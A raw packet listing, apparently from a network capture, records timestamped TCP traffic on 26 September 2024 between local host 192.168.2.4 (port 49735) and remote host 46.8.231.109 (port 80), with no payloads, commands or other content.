Sep 26, 2024 19:05:18.842170954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842204094 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842204094 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842364073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842376947 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842400074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842411041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842422962 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842422962 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842457056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842457056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842493057 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842509031 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842528105 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842544079 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842545033 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842659950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842693090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842693090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842854977 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842865944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842894077 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842905998 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842914104 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842914104 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842928886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842940092 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842947006 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842947006 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842983961 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842983961 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842998028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843194008 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843205929 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843226910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843230009 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843230009 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843240023 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843261003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843262911 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843262911 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843296051 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843296051 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843333006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843395948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843504906 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843517065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843544006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843564987 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843578100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843578100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843581915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843627930 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843627930 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843640089 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843652010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843673944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843687057 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843697071 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843697071 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843708992 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843730927 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843730927 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843730927 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843776941 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843776941 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843935966 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843947887 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843969107 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843978882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.843991995 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.843991995 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844002008 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844037056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844037056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844058990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844069958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844106913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844106913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844249964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844261885 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844281912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844302893 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844304085 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844367027 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844402075 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844402075 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844552994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844566107 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844587088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844599009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844610929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844610929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844618082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844640017 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844640017 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844688892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844702005 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844723940 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844723940 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844844103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844870090 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844887018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844897985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844918966 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.844921112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844921112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844954014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.844954014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.845060110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.845074892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.845092058 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.845103979 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.845119953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.845119953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.845124960 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.845164061 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.845164061 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.845177889 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.845191956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.845228910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.845228910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.846573114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.846698999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.846709967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.846731901 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.846739054 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.846739054 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.846745968 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.846774101 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.846774101 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.846801043 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.846815109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.846900940 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.846970081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.846982002 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847002029 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847012997 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847013950 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847034931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847038031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847038984 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847069025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847069025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847099066 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847114086 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847131968 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847143888 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847147942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847147942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847181082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847181082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847301960 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847313881 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847337008 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847354889 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847354889 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847409010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847536087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847548008 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847570896 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847583055 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847593069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847593069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847604036 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847615004 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847625971 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847625971 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847656965 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847656965 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847661018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847672939 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847692966 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847704887 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847712040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847712040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847728968 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847774982 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847795963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847807884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847830057 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847842932 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847847939 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847847939 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847863913 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.847877026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847877026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.847942114 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.848104000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848115921 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848135948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848150969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848155975 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.848155975 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.848171949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848182917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848191977 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.848191977 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.848225117 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.848225117 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.848417997 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848429918 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848457098 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848468065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848470926 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.848470926 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.848489046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848493099 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.848500013 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848520994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848525047 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.848525047 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.848532915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848552942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848555088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.848555088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.848563910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848577976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.848586082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848598003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.848644972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.848644972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.848644972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.927829027 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.927891016 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.927901030 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.927903891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.927949905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.927961111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.927973986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.927980900 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.927993059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.927993059 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928044081 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928044081 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928102970 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928127050 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928139925 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928139925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928159952 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928160906 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928173065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928185940 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928204060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928204060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928484917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928488016 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928497076 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928514957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928528070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928545952 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928550005 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928550005 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928559065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928608894 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928611040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928611040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928620100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928638935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928649902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928662062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928662062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928667068 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928680897 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928695917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928695917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928807020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928878069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928890944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928910971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928920984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928940058 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.928940058 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928940058 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.928985119 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929003000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929033995 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929039001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929050922 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929069996 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929073095 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929073095 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929081917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929106951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929106951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929245949 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929274082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929285049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929311991 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929322958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929342031 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929347038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929347038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929357052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929374933 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929390907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929399014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929399014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929408073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929424047 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929450989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929450989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929598093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929642916 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929642916 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929652929 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929692984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929785967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929799080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929820061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929830074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929830074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929836035 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929861069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929861069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.929961920 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.929975033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.930000067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.930011034 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.930011034 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.930011988 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.930035114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.930048943 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.930052996 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.930069923 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.930083036 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.930084944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.930120945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.930120945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.930216074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.930227041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.930277109 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.930277109 CEST	49735	80	192.168.2.4	46.8.231.109
